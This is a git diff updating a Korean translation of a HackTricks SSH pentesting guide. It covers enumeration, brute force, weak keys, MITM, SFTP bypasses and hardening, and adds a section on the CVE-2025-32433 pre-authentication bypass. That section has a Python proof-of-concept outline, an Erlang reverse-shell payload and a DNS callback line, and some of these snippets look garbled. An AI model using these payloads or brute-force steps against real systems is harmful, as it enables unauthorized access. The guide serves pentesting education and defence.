Translated ['src/network-services-pentesting/pentesting-ssh.md'] to ko

This commit is contained in:
Translator 2025-08-14 00:19:36 +00:00
parent 4621aca21f
commit 32181edc94

View File

@ -4,7 +4,7 @@
## 기본 정보
**SSH (Secure Shell 또는 Secure Socket Shell)**는 보안이 없는 네트워크를 통해 컴퓨터에 안전하게 연결할 수 있도록 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안되지 않은 네트워크를 통해 컴퓨터에 대한 안전한 연결을 가능하게 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
**기본 포트:** 22
```
@ -14,14 +14,14 @@
- [openSSH](http://www.openssh.org) OpenBSD SSH, BSD, Linux 배포판 및 Windows 10 이후 Windows에 포함됨
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) 메모리와 프로세서 자원이 적은 환경을 위한 SSH 구현, OpenWrt에 포함됨
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) Windows용 SSH 구현, 클라이언트는 일반적으로 사용되지만 서버 사용은 드물다
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) Windows용 SSH 구현, 클라이언트는 일반적으로 사용되지만 서버 사용은 드물다
- [CopSSH](https://www.itefix.net/copssh) Windows용 OpenSSH 구현
**SSH 라이브러리 (서버 측 구현):**
- [libssh](https://www.libssh.org) SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE에서 sftp에 사용되며 GitHub에서 git SSH 인프라에 사용됨
- [libssh](https://www.libssh.org) SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE의 sftp 및 GitHub의 git SSH 인프라에서 사용됨
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) ANSI C로 작성된 SSHv2 서버 라이브러리, 임베디드, RTOS 및 자원이 제한된 환경을 목표로 함
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD 자바 라이브러리는 Apache MINA를 기반으로 함
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache MINA를 기반으로 한 Apache SSHD 자바 라이브러리
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 프로토콜 라이브러리
## 열거
@ -30,13 +30,13 @@
```bash
nc -vn <IP> 22
```
### 자동화된 ssh-audit
### Automated ssh-audit
ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니다.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)은 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)의 업데이트된 포크입니다.
**기능:**
**특징:**
- SSH1 및 SSH2 프로토콜 서버 지원;
- SSH 클라이언트 구성 분석;
@ -99,11 +99,11 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
### [브루트 포스](../generic-hacking/brute-force.md#ssh)
일부 일반적인 ssh 자격 증명 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)와 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) 및 아래에 있습니다.
일부 일반적인 ssh 자격 증명 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)와 [여기](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) 및 아래에서 확인할 수 있습니다.
### Private Key Brute Force
### 개인 키 브루트 포스
사용할 수 있는 ssh 개인 키를 알고 있다면... 시도해 봅시다. nmap 스크립트를 사용할 수 있습니다:
```
@ -125,7 +125,7 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들어 무차별 대입 공격을 받을 수 있습니다. 약한 PRNG의 영향을 받는 Debian 시스템에서 생성된 미리 생성된 키 세트는 여기에서 사용할 수 있습니다: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
피해자 머신의 유효한 키를 검색하려면 여기 확인해야 합니다.
피해자 머신의 유효한 키를 검색하려면 여기에서 확인해야 합니다.
### Kerberos
@ -158,12 +158,12 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
**공격 경로:**
- **트래픽 리디렉션:** 공격자는 피해자의 트래픽을 자신의 머신으로 **전환**하여 SSH 서버에 대한 연결 시도를 **가로챕니다**.
- **가로채기 및 로깅:** 공격자의 머신은 **프록시** 역할을 하여 합법적인 SSH 서버인 척 하면서 사용자의 로그인 세부 정보를 **캡처**합니다.
- **명령 실행 및 중계:** 마지막으로, 공격자의 서버는 **사용자의 자격 증명을 기록하고**, **명령을** 실제 SSH 서버로 **전달**하여 **실행**하고, **결과를 사용자에게 다시 전송**하여 프로세스가 매끄럽고 합법적으로 보이게 합니다.
- **가로채기 및 로깅:** 공격자의 머신은 합법적인 SSH 서버인 척 하여 사용자의 로그인 세부 정보를 **캡처**하는 **프록시** 역할을 합니다.
- **명령 실행 및 중계:** 마지막으로, 공격자의 서버는 사용자의 자격 증명을 **로그**하고, **명령을** 실제 SSH 서버로 **전달**하여 **실행**하고, **결과를 사용자에게 다시 전송**하여 프로세스가 매끄럽고 합법적으로 보이게 합니다.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)은 위에서 설명한 대로 작동합니다.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)은 위에서 설명한 대로 정확히 수행합니다.
실제 MitM을 수행하기 위해 ARP 스푸핑, DNS 스푸핑 또는 [**네트워크 스푸핑 공격**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)에서 설명된 다른 기술을 사용할 수 있습니다.
실제 MitM을 수행하기 위해 ARP 스푸핑, DNS 스푸핑 또는 [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)에서 설명된 다른 기술을 사용할 수 있습니다.
## SSH-Snake
@ -182,7 +182,7 @@ SSH-Snake는 다음 작업을 자동으로 재귀적으로 수행합니다:
### Root login
SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며, 이는 상당한 보안 위험을 초래합니다. **루트 로그인을 비활성화하는 것**은 서버 보안을 강화하는 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.
SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며, 이는 상당한 보안 위험을 초래합니다. **루트 로그인을 비활성화하는 것**은 서버 보안 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.
**OpenSSH에서 루트 로그인 비활성화:**
@ -197,7 +197,7 @@ SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은
### SFTP command execution
SFTP 설정에서 일반적인 간과가 발생하는데, 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도하는 경우입니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다** (예: `/bin/bash`), 비대화형 셸이 차지하기 전에. 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다.
SFTP 설정에서 일반적인 간과가 발생하는데, 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도할 때입니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다**(예: `/bin/bash`), 비대화형 셸이 차지하기 전에. 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다.
[여기에서의 예시](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -244,7 +244,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
The **sftp** have the command "**symlink**". Therefore, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
예를 들어, 새 파일 **"**_**froot**_**"에서 "**_**/**_**"**로 **symlink**를 생성하려면:
```bash
sftp> symlink / froot
```
@ -252,7 +252,7 @@ sftp> symlink / froot
### 인증 방법
높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 이중 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 빈번한 사례는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자 약한 방법이 활성화되어 있음을 확인할 수 있습니다:
높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 2단계 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 빈번한 사례는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자 약한 방법이 활성화되어 있음을 확인할 수 있습니다:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -267,7 +267,7 @@ debug1: Next authentication method: password
```
SSH 서버 구성을 검토하는 것은 예상되는 방법만이 허가되었는지 확인하는 데 필요합니다. 클라이언트에서 자세한 모드를 사용하면 구성의 효과를 확인하는 데 도움이 될 수 있습니다.
### Config files
### 구성 파일
```bash
ssh_config
sshd_config
@ -276,17 +276,75 @@ ssh_known_hosts
known_hosts
id_rsa
```
## Fuzzing
## 퍼징
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## References
## 인증 상태 기계 우회 (사전 인증 원격 코드 실행)
- SSH를 강화하는 방법에 대한 흥미로운 가이드를 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)에서 찾을 수 있습니다.
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
여러 SSH 서버 구현에는 **인증 유한 상태 기계**의 논리적 결함이 있어 클라이언트가 인증이 완료되기 **전**에 *연결 프로토콜* 메시지를 보낼 수 있습니다. 서버가 올바른 상태에 있는지 확인하지 않기 때문에 이러한 메시지는 사용자가 완전히 인증된 것처럼 처리되어 **비인증 코드 실행** 또는 세션 생성으로 이어집니다.
## HackTricks Automatic Commands
프로토콜 수준에서 _메시지 코드_ **≥ 80** (0x50)을 가진 모든 SSH 메시지는 *연결* 계층(RFC 4254)에 속하며 **성공적인 인증 후에만 수락되어야 합니다** (RFC 4252). 서버가 *SSH_AUTHENTICATION* 상태에 있는 동안 이러한 메시지 중 하나를 처리하면 공격자는 즉시 채널을 생성하고 명령 실행, 포트 포워딩 등의 작업을 요청할 수 있습니다.
### 일반적인 악용 단계
1. 대상의 SSH 포트(일반적으로 22, 그러나 다른 서비스는 2022, 830, 2222 등에서 Erlang/OTP를 노출할 수 있음)로 TCP 연결을 설정합니다.
2. 원시 SSH 패킷을 작성합니다:
* 4바이트 **패킷 길이** (빅 엔디안)
* 1바이트 **메시지 코드** ≥ 80 (예: `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* 선택한 메시지 유형이 이해할 수 있는 페이로드
3. **모든 인증 단계를 완료하기 전에** 패킷을 전송합니다.
4. 이제 _사전 인증_ 상태에서 노출된 서버 API와 상호작용합니다 (명령 실행, 포트 포워딩, 파일 시스템 접근 등).
Python 개념 증명 개요:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
실제로는 대상 구현에 따라 키 교환을 수행(또는 건너뛰어야) 해야 하지만, **인증**은 절대 수행되지 않습니다.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **영향을 받는 버전:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **근본 원인:** Erlang 네이티브 SSH 데몬은 `ssh_connection:handle_msg/2`를 호출하기 전에 현재 상태를 검증하지 않습니다. 따라서 메시지 코드 80-255가 있는 패킷은 세션이 여전히 *userauth* 상태에 있는 동안 연결 핸들러에 도달합니다.
* **영향:** 인증되지 않은 **원격 코드 실행** (데몬은 일반적으로 임베디드/OT 장치에서 **root**로 실행됩니다).
공격자가 제어하는 채널에 바인딩된 리버스 셸을 생성하는 예제 페이로드:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
블라인드 RCE / 아웃오브밴드 탐지는 DNS를 통해 수행할 수 있습니다:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
탐지 및 완화:
* SSH 트래픽 검사: **인증 전에 관찰된 메시지 코드 ≥ 80을 가진 패킷은 모두 드롭**합니다.
* Erlang/OTP를 **27.3.3 / 26.2.5.11 / 25.3.2.20** 또는 최신 버전으로 업그레이드합니다.
* 관리 포트(22/2022/830/2222)의 노출을 제한합니다 특히 OT 장비에서.
---
### 영향을 받는 다른 구현
* **libssh** 0.6 0.8 (서버 측) **CVE-2018-10933** 클라이언트가 보낸 인증되지 않은 `SSH_MSG_USERAUTH_SUCCESS`를 수용하며, 사실상 역 논리 결함입니다.
공통적인 교훈은 RFC에서 요구하는 상태 전이에서의 어떤 편차도 치명적일 수 있다는 것입니다; SSH 데몬을 검토하거나 퍼징할 때 *상태 기계 강제 집행*에 특히 주의하십시오.
## 참조
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH 하드닝 가이드](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH 해킹 가이드](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks 자동 명령
```
Protocol_Name: SSH
Port_Number: 22